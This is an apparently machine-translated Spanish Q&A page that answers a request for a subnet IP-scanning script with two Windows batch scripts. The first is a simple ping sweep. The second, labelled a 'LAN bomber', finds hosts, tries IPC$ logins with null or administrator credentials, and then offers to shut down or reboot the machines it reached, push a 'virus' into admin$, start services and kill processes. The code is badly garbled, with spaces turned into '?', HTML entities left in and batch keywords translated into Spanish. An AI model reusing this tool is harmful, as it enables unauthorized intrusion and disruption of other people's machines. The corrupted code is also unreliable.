Red de conocimiento informático - Conocimiento sistemático - Buscando un script de shell que atraviese las direcciones IP de segmentos de red

Buscando un script de shell que atraviese las direcciones IP de segmentos de red

Puede aprender de algunas cosas aquí, porque siempre que combine algunas de las cosas en estos dos pequeños scripts, puede cumplir con sus requisitos (en un entorno Windows) y no es necesario. Copialos por completo, jaja.

No sé cómo jugar shell, pero ¿aún puedo hacer clic en bat en Windows...?

¿Una cosa más? ¿Necesito llamar al script de shell en Linux? en Windows?

Debería ser imposible... ¡o muy difícil!

Puedo hacerlo en Windows, pero lleva demasiado tiempo. Te daré dos códigos ya preparados. Si tienes tiempo y estás interesado, puedes jugar con este código en Windows. Si estás interesado, ¡puedes combinarlo y luego hacer algunas modificaciones para lograr lo que deseas!

Primer párrafo:

@echo?off

título?Escanear IP en línea

:: MODE?con:?COLS= 60 ?LINES=18

color?0a

:: Decoración.

:kaishi

cls

for?/l?i?in?(1,1,4)?do?echo.

set?/p?qishi=?IP inicial:

set?/p?jieshu=?IP final:

IF?ERRORLEVEL?1?echo?Formato de dirección IP incorrecto !?amp;amp;?pause?amp;amp;?goto?kaishi

echo.

:: Obtiene los valores de dos variables del teclado.

for?/f?"tokens=1-4?delims=."?a?in?("qishi")?do?(

if?a?LSS? 0?goto?error_2

si?a?GTR?255?goto?error_2

si?b?LSS?0?goto?error_2

si? b?GTR?255?goto?error_2

si?c?LSS?0?goto?error_2

si?c?GTR?255?goto?error_2

if?d?LSS?0?goto?error_2

if?d?GTR?255?goto?error_2 set?v1=a set?v2=b set?v3=c set?v4= d

)

: Separe los cuatro segmentos de la IP inicial y asigne valores para determinar si la IP es correcta.

for?/f?"tokens=1-4?delims=."?a?in?("jieshu")?do?(

if?a?LSS? 0?goto?error_2

si?a?GTR?255?goto?error_2

si?b?LSS?0?goto?error_2

si? b?GTR?255?goto?error_2

si?c?LSS?0?goto?error_2

si?c?GTR?255?goto?error_2

if?d?LSS?0?goto?error_2

if?d?GTR?255?goto?error_2 set?v5=a set?v6=b set?v7=c set?v8= d

)

: Separe los cuatro segmentos de la IP de terminación y asigne valores para determinar si la IP es correcta.

IF?V5?LSS?V1?echo?Error: La IP de terminación no puede ser menor que la IP inicial. amp;?pause?amp;?goto?kaishi

:: Determina la exactitud de la IP de terminación y la IP inicial.

IF?V4?LEQ?V8?set?zengzhi_1=1

IF?V4?GEQ?V8?set?zengzhi_1=-1

SI? v3?LEQ?v7?set?zengzhi_2=1

IF?V3?GEQ?V7?set?zengzhi_2=-1

IF?v2?LEQ?v6?set?zengzhi_3 =1

IF?v2?GEQ?v6?set?zengzhi_3=-1

for?/L?d?in?(v1, 1, v5)?do?(

¿para?/L?c?in?(v2, zengzhi_3, v6)?do?(

para?/L?b?in?(v3, zengzhi_2, v7) ?do?(

for?/L?a?in?(v4, zengzhi_1, v8)?do?(

ping?/n?1?d.c.b.a?gt; nul ?amp;amp;?echo?d.c.b.a?OK?||?echo?d.c.b.a?ERROR

echo?d.c.b.a

)

)

)

)

¿eco? ¡Escaneo completado!

¿pausa?amp;?goto?kaishi

:error_2 p>

¡Echo? ¡Dirección IP incorrecta!

pausa

goto?kaishi

Segundo párrafo (prueba no terminada):

@echo?off

setlocal?enabledelayedexpansion

¿título?Win?2k?LAN bomber?¿Continuará?~す珹す~

color ?0a

:iniciar

eco?------------------------------ ------------------------------------------------- - -

echo?Recopilando información...?amp;?echo.

for?/f?"tokens=15"?i?in?('ipconfig?^| ?find?/i?"ip?address"')?do?set?ip=i

para?/f?"tokens=1, 2, 3?delims=."?i?in ?('echo?!ip!')?do?set?wd=i.j.k

echo su dirección ?IP? es: !ip!

haga eco de su segmento de red Sí: ! wd!

echo.

echo?---Elija el método de escaneo para escanear hosts en línea---

echo?1.ping2. view?3.exit?Nota: ¡Simplemente presione Entrar para usar el método predeterminado!?Prueba de ping

set?/p?fs=Por favor ingrese:

if?"fs "= =""?goto?ping

if?"fs"=="1"?goto?ping

if?"fs"=="2"?goto?net? ver

if?"fs"=="3"?exit

cls?amp;?goto?start

:ping

echo.

echo ingresa el rango de IP a escanear (no es necesario ingresar el segmento de red. El número final entre 1 y 255 no puede ser menor que el número inicial).

¡Contar!

set?/p?qs=Número inicial:

set?/p?js=Número final:

if?!qs!? ?!js!?echo?Número de inicio?no puede ser mayor que?¡Número final!?amp;amp;?ping?127.1?/n?2?gt;nul?2gt;nul?amp;amp;?goto?ping

echo?!wd!.!qs!? a ?!wd!.!js!? Estado en línea de los hosts dentro del rango...

echo?--- -------------------------------------------------- --------------------------

para?/l?i?in?(!qs!,1,! js!)?do?(

ping?!wd!.i?/n?1?gt;nul?2gt;nul?amp;amp;?echo!wd!.iOnline!?amp ; amp;?echo?!wd!.igt;gt;zx.txt||?echo!wd!.iOffline!

)

echo?----- -- ------------------------------------------------ -- ---------------------

ir a?ipc$?scan

:net?view

echo.

echo?Host en línea en esta LAN:

echo?------------------ ---- ---------------------------------------------- ---- -------

PARA?/F?"eol=-?delims=\\"?c?in?('net?view')?do?(

¿PARA?/F?"eol=Servicio"?i?in?('echo?c')?do?(

PARA?/F?"eol=Destino"? i?in? ('echo?c')?do?(

echoi?amp;amp;?echo?igt;gt;zx.txt ) )

)

¿eco?---------------------------------------------- - ------------------------------------

ir a?ipc$?scan

:ipc$?scan

echo.

echo? ipc$ scan está a punto de comenzar...

echo.

si?no?existe?zx.txt?echo?lo siento!?¡No hay ningún host en línea en esta LAN y no se puede realizar el escaneo ipc$!?Volviendo al menú principal...?amp;amp; ?ping?127.1? /n?5?gt;nul?2gt;nul?amp;amp;?cls?amp;amp;?goto?start

echo?ipc$?Qué usuario usar cuando escaneo Nota: simplemente presione Atrás ¡La llave del auto usa el usuario predeterminado!?administrador

Si desea usar un usuario vacío (enlace vacío) para eco, ingrese?null

set ?/p?user=Por favor ingrese:

if?"!usuario!"==""?set?user=administrator

if?"!usuario!"==" nulo"?conjunto?usuario=

echo?ipc$?¿Qué contraseña usar al escanear? Nota: ¡Simplemente presione Entrar para usar la contraseña predeterminada! ¿Vacío

set?/p?password=Por favor, ingrese:

if?"!contraseña!"==""?set?password=

echo.

echo?El usuario que seleccionó es: !usuario!

echo?La contraseña que elegiste es: !contraseña!

ping?127.1?/n?2?gt;nul?2gt;nul

echo.

echo? Buscando máquinas que puedan conectarse a ipc$...

set?ipc$=0

for?/f?i?in?( 'escribir? zx.txt')?hacer?(

eco?----------------------------- --- -----------------------------------------------

net?use?\\i\ipc$?"!contraseña!"?/usuario:"!usuario!"?gt;nul?amp;amp;?(

set?/ a?ipc$=!ipc$! 1

echo?Conexión?i?Exitosa!

echo?igt;gt;ipc.txt

net? use?\\i?/delgt;nul?2gt;nul

)?||?(

echo?Connection?i?Failed!? ↑ ↑ ↑ The arriba está el mensaje de error !? ↑ ↑ ↑

)

)

echo?--------------- ----------- --------------------------------------- ----------- ----------

eco? ¡Presiona cualquier tecla para ingresar al siguiente paso! ?amp;?pause?gt;nul

:matar

cls

para?/l?i?in?(1,1,9)? do?echo.

echo? escaneado a ?!ipc$!?¡La máquina ipc$ puede conectarse exitosamente!

for?/l?i?in?(1, 1, 3)?do?echo.

echo?Mi hermosa hermana mayor, ¿cómo quieres burlarte de ellos?

echo.

echo?1: Cállate bajarlos 2: ¿Reiniciarlos?3: Iniciar el servicio

echo?4: Enviar el virus5: ¿Aparecer el mensaje emergente?6: Cerrar el proceso

echo.

set?/p ?shr=Por favor seleccione:

if?"!shr!"=="1"?goto?gj

if?"!shr!" =="2"?goto ?cq

if?"!shr!"=="3"?goto?fw

if?"!shr!"=="4 "?goto?bd

if?"!shr!"=="5"?goto?xx

if?"!shr!"=="6"?goto? jc

goto?kill

:gj

for?/f?i?in?('type?ipc.txt')?do?(

apagar ?-m?\\i?-s?-t?0

)

echo ¿Listo? ¡Presiona cualquier tecla para regresar al menú principal! !

pausegt; nul?amp;?goto?start

:cq

<

p>for?/f?i?in?('type?ipc.txt')?do?(

apagar?-m?\\i?-r?-t?0

)

¡Eco? ¡Listo! ¡Presiona cualquier tecla para regresar al menú principal!

pausegt;nul?amp;?goto?start

:fw

set?/p?fwm=Ingrese el nombre del servicio que desea abrir:

:: Es necesario detectar la intensidad de la carretera

para ?/f?i?in ?('type?ipc.txt')?do?(

net?start?\\i?!fwm!

)

echo?Complete !Presione cualquier tecla para regresar al menú principal!

pausegt;nul?amp;?goto?start

:bd

set?/p?bdm=Ingrese la ruta del virus que se transferirá:

for?/f?i?in?('type?ipc.txt')?do?(

¿copiar?!bdm!?\ \i\admin$

: ¿Aún necesitas habilitar el servicio de tareas programadas de la otra parte? Ejecutar el virus

)

p>

eco? ¡Listo! Presione cualquier tecla para regresar al menú principal

pausegt;nul?amp;?goto?start

:xx

set?/p?xx=Ingrese el mensaje que aparecerá:

for?/f?i?in?('type?ipc.txt')?do?(

echo? aparece un mensaje emergente...

sc ?\\i?config?messenger?start=?auto?gt;nul?2gt;nul

sc ?\\i?start?messenger?gt;nul?2gt;nul

net?send?i?!xx!

)

echo? !Presione cualquier tecla para regresar al menú principal.

pausegt;nul?amp;goto?start

:jc

set?/p?jc =Ingrese el nombre del proceso que debe cerrarse:

for?/f?i?in ?('type?ipc.txt')?do?(

¿copiar?!bdm!?\\i\admin$

taskkill?/s?\\i?/ f?/im?!jc!

)

echo? ¡Listo! ¡Presiona cualquier tecla para regresar al menú principal!

pausegt;nul?amp;?goto?